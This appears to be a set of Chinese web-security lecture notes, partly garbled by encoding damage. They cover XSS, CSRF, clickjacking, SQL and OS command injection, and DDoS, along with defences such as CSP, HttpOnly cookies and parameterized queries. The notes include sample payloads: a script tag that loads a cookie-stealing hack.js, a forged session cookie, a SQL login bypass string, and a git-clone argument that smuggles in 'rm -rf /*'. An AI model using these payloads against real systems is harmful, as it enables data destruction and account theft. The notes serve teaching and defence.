1、XSS
Cross Site Scripting
跨站腳本攻擊
XSS (Cross-Site Scripting),跨站腳本攻擊,因?yàn)榭s寫(xiě)和 CSS重疊,所以只能叫 XSS??缯灸_本攻擊是指通過(guò)存在安全漏洞的Web?站注冊(cè)?戶(hù)的瀏覽器內(nèi)運(yùn)??法的?本站點(diǎn)HTML標(biāo)簽或JavaScript進(jìn)?的?種攻擊。
跨站腳本攻擊有可能造成以下影響:
-利?虛假輸?表單騙取?戶(hù)個(gè)?信息。
-利?腳本竊取?戶(hù)的Cookie值,被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請(qǐng)求。
-顯示偽造的?章或圖?。
XSS攻擊分類(lèi)
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 獲取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名偽造 https://dwz.cn/
// 偽造cookie?侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
存儲(chǔ)型 - 存儲(chǔ)到DB后讀取時(shí)注?
// 評(píng)論
<script>alert(1)</script>
// 跨站腳本注?
我來(lái)了<script src="http://localhost:4000/hack.js"></script>
XSS攻擊的危害 - Scripting能?啥就能?啥
獲取??數(shù)據(jù)
獲取Cookies
劫持前端邏輯
發(fā)送請(qǐng)求
偷取?站的任意數(shù)據(jù)
偷取?戶(hù)的資料
偷取?戶(hù)的秘密和登錄態(tài)
欺騙?戶(hù)
防范?段
ejs轉(zhuǎn)義?知識(shí)
<% code %>?于執(zhí)?其中javascript代碼;
<%= code %>會(huì)對(duì)code進(jìn)?html轉(zhuǎn)義;
<%- code %>將不會(huì)進(jìn)?轉(zhuǎn)義
HEAD
ctx.set('X-XSS-Protection', 0) // 禁?XSS過(guò)濾
// http://localhost:3000/?from=<script>alert(3)</script> 可以攔截 但偽裝?下就不?
了
0 禁?XSS過(guò)濾。
1 啟?XSS過(guò)濾(通常瀏覽器是默認(rèn)的)。 如果檢測(cè)到跨站腳本攻擊,瀏覽器將清除??(刪除不
安全的部分)。
1;mode=block 啟?XSS過(guò)濾。 如果檢測(cè)到攻擊,瀏覽器將不會(huì)清除??,?是阻???加載。
1; report= (Chromium only)
啟?XSS過(guò)濾。 如果檢測(cè)到跨站腳本攻擊,瀏覽器將清除??并使?CSP report-uri 指令的功
能發(fā)送違規(guī)報(bào)告。
CSP
內(nèi)容安全策略 (CSP, Content Security Policy) 是?個(gè)附加的安全層,?于幫助檢測(cè)和緩解某
些類(lèi)型的攻擊,包括跨站腳本 (XSS) 和數(shù)據(jù)注?等攻擊。 這些攻擊可?于實(shí)現(xiàn)從數(shù)據(jù)竊取到
?站破壞或作為惡意軟件分發(fā)版本等?途。
CSP 本質(zhì)上就是建??名單,開(kāi)發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)?。我們只
需要配置規(guī)則,如何攔截是由瀏覽器??實(shí)現(xiàn)的。我們可以通過(guò)這種?式來(lái)盡量減少 XSS 攻
擊。
// 只允許加載本站資源
Content-Security-Policy: default-src 'self'
// 只允許加載 HTTPS 協(xié)議圖?
Content-Security-Policy: img-src https://*
// 不允許加載任何來(lái)源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 嘗試?下外部資源不能加載
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
轉(zhuǎn)義字符
?名單
?戶(hù)的輸?永遠(yuǎn)不可信任的,最普遍的做法就是轉(zhuǎn)義輸?輸出的內(nèi)容,對(duì)于引號(hào)、尖括號(hào)、斜杠
進(jìn)?轉(zhuǎn)義
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
富?本來(lái)說(shuō),顯然不能通過(guò)上?的辦法來(lái)轉(zhuǎn)義所有字符,因?yàn)檫@樣會(huì)把需要的格式也過(guò)濾掉。對(duì)
于這種情況,通常采??名單過(guò)濾的辦法,當(dāng)然也可以通過(guò)?名單過(guò)濾,但是考慮到需要過(guò)濾的
標(biāo)簽和標(biāo)簽屬性實(shí)在太多,更加推薦使??名單的?式。
?名單
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html)
HttpOnly Cookie
這是預(yù)防XSS攻擊竊取?戶(hù)cookie最有效的防御?段。Web應(yīng) ?程序在設(shè)置cookie時(shí),將其
屬性設(shè)為HttpOnly,就可以避免該??的cookie被客戶(hù)端惡意JavaScript竊取,保護(hù)?戶(hù)
cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
2、CSRF
CSRF(Cross Site Request Forgery),即跨站請(qǐng)求偽造,是?種常?的Web攻擊,它利??戶(hù)已登
錄的身份,在?戶(hù)毫不知情的情況下,以?戶(hù)的名義完成?法操作。
?戶(hù)已經(jīng)登錄了站點(diǎn) A,并在本地記錄了 cookie
在?戶(hù)沒(méi)有登出站點(diǎn) A 的情況下(也就是 cookie ?效的情況下),訪(fǎng)問(wèn)了惡意攻擊者提供的引誘
危險(xiǎn)站點(diǎn) B (B 站點(diǎn)要求訪(fǎng)問(wèn)站點(diǎn)A)。
站點(diǎn) A 沒(méi)有做任何 CSRF 防御
登錄 http://localhost:4000/csrf.html
CSRF攻擊危害
利??戶(hù)登錄態(tài)
?戶(hù)不知情
完成業(yè)務(wù)請(qǐng)求
盜取?戶(hù)資?(轉(zhuǎn)賬,消費(fèi))
冒充?戶(hù)發(fā)帖背鍋
損害?站聲譽(yù)
防御
禁?第三??站帶Cookie - 有兼容性問(wèn)題
Referer Check - Https不發(fā)送referer
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
驗(yàn)證碼
3、點(diǎn)擊劫持 - clickjacking
點(diǎn)擊劫持是?種視覺(jué)欺騙的攻擊?段。攻擊者將需要攻擊的?站通過(guò) iframe 嵌套的?式嵌???
的??中,并將 iframe 設(shè)置為透明,在??中透出?個(gè)按鈕誘導(dǎo)?戶(hù)點(diǎn)擊。
// 登錄
http://localhost:4000/clickjacking.html
防御
X-FRAME-OPTIONS
X-FRAME-OPTIONS 是?個(gè) HTTP 響應(yīng)頭,在現(xiàn)代瀏覽器有?個(gè)很好的?持。這個(gè) HTTP 響應(yīng)頭 就
是為了防御? iframe 嵌套的點(diǎn)擊劫持攻擊。
該響應(yīng)頭有三個(gè)值可選,分別是
DENY,表示??不允許通過(guò) iframe 的?式展示
SAMEORIGIN,表示??可以在相同域名下通過(guò) iframe 的?式展示
ALLOW-FROM,表示??可以在指定來(lái)源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
JS?式
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代碼的作?就是當(dāng)通過(guò) iframe 的?式加載??時(shí),攻擊者的??直接不顯示所有內(nèi)容了。
SQL注?
// 填?特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御
所有的查詢(xún)語(yǔ)句建議使?數(shù)據(jù)庫(kù)提供的參數(shù)化查詢(xún)接?**,參數(shù)化的語(yǔ)句使?參數(shù)?不是將?戶(hù)
輸?變量嵌?到 SQL 語(yǔ)句中,即不要直接拼接 SQL 語(yǔ)句。例如 Node.js 中的 mysqljs 庫(kù)的 query
?法中的 ? 占位參數(shù)。
// 錯(cuò)誤寫(xiě)法
const sql = `
SELECT *
FROM test.user
WHERE username = '${ctx.request.body.username}'
AND password = '${ctx.request.body.password}'
`
console.log('sql', sql)
res = await query(sql)
// 正確的寫(xiě)法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
嚴(yán)格限制Web應(yīng)?的數(shù)據(jù)庫(kù)的操作權(quán)限,給此?戶(hù)提供僅僅能夠滿(mǎn)?其?作的最低權(quán)限,從?
最?限度的減少注?攻擊對(duì)數(shù)據(jù)庫(kù)的危害
后端代碼檢查輸?的數(shù)據(jù)是否符合預(yù)期,嚴(yán)格限制變量的類(lèi)型,例如使?正則表達(dá)式進(jìn)??些
匹配處理。
對(duì)進(jìn)?數(shù)據(jù)庫(kù)的特殊字符(',",\,<,>,&,,; 等)進(jìn)?轉(zhuǎn)義處理,或編碼轉(zhuǎn)換*?;旧纤?br> 有的后端語(yǔ)?都有對(duì)字符串進(jìn)?轉(zhuǎn)義處理的?法,?如 lodash 的 lodash._escapehtmlchar 庫(kù)。
**OS命令注?
OS命令注?和SQL注?差不多,只不過(guò)SQL注?是針對(duì)數(shù)據(jù)庫(kù)的,?OS命令注?是針對(duì)操作系統(tǒng)的。OS命令
注?攻擊指通過(guò)Web應(yīng)?,執(zhí)??法的操作系統(tǒng)命令達(dá)到攻擊的?的。只要在能調(diào)?Shell函數(shù)的地?就有
存在被攻擊的?險(xiǎn)。倘若調(diào)?Shell時(shí)存在疏漏,就可以執(zhí)?插?的?法命令。
// 以 Node.js 為例,假如在接?中需要從 github 下載?戶(hù)指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?戶(hù)輸?的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);
如果傳?的參數(shù)是會(huì)怎樣
https://github.com/xx/xx.git && rm -rf /* &&
請(qǐng)求劫持
DNS劫持
顧名思義,DNS服務(wù)器(DNS解析各個(gè)步驟)被篡改,修改了域名解析的結(jié)果,使得訪(fǎng)問(wèn)到的不是預(yù)期的
ip
HTTP劫持 運(yùn)營(yíng)商劫持,此時(shí)?概只能升級(jí)HTTPS了
DDOS
distributed denial of service
DDOS 不是?種攻擊,?是??類(lèi)攻擊的總稱(chēng)。它有??種類(lèi)型,新的攻擊?法還在不斷發(fā)明出來(lái)。?
站運(yùn)?的各個(gè)環(huán)節(jié),都可以是攻擊?標(biāo)。只要把?個(gè)環(huán)節(jié)攻破,使得整個(gè)流程跑不起來(lái),就達(dá)到了癱瘓
服務(wù)的?的。
其中,?較常?的?種攻擊是 cc 攻擊。它就是簡(jiǎn)單粗暴地送來(lái)?量正常的請(qǐng)求,超出服務(wù)器的最?承
受量,導(dǎo)致宕機(jī)。我遭遇的就是 cc 攻擊,最多的時(shí)候全世界?概20多個(gè) IP 地址輪流發(fā)出請(qǐng)求,每個(gè)地
址的請(qǐng)求量在每秒200次~300次。我看訪(fǎng)問(wèn)?志的時(shí)候,就覺(jué)得那些請(qǐng)求像洪??樣涌來(lái),?眨眼就是
??堆,?分鐘的時(shí)間,?志?件的體積就?了100MB。說(shuō)實(shí)話(huà),這只能算?攻擊,但是我的個(gè)??站
沒(méi)有任何防護(hù),服務(wù)器還是跟其他?共享的,這種流量?來(lái)?刻就下線(xiàn)了。
常?攻擊?式
SYN Flood
此攻擊通過(guò)向?標(biāo)發(fā)送具有欺騙性源IP地址的?量TCP“初始連接請(qǐng)求”SYN數(shù)據(jù)包來(lái)利?TCP握
?。?標(biāo)機(jī)器響應(yīng)每個(gè)連接請(qǐng)求,然后等待握?中的最后?步,這?步從未發(fā)?過(guò),耗盡了進(jìn)程
中的?標(biāo)資源。
HTTP Flood
此攻擊類(lèi)似于同時(shí)在多個(gè)不同計(jì)算機(jī)上反復(fù)按Web瀏覽器中的刷新 - ?量HTTP請(qǐng)求泛濫服務(wù)器,
導(dǎo)致拒絕服務(wù)。
防御?段
備份?站不?定是全功能的,如果能做到全靜態(tài)瀏覽,就能滿(mǎn)?需求。最低限度應(yīng)該可以顯示公告,告訴?戶(hù),?站出了問(wèn)題,正在全?搶修。
- HTTP 請(qǐng)求的攔截 ?防IP -靠譜的運(yùn)營(yíng)商 多個(gè) Docker
硬件 服務(wù)器 防?墻- 帶寬擴(kuò)容 + CDN
提?犯罪成本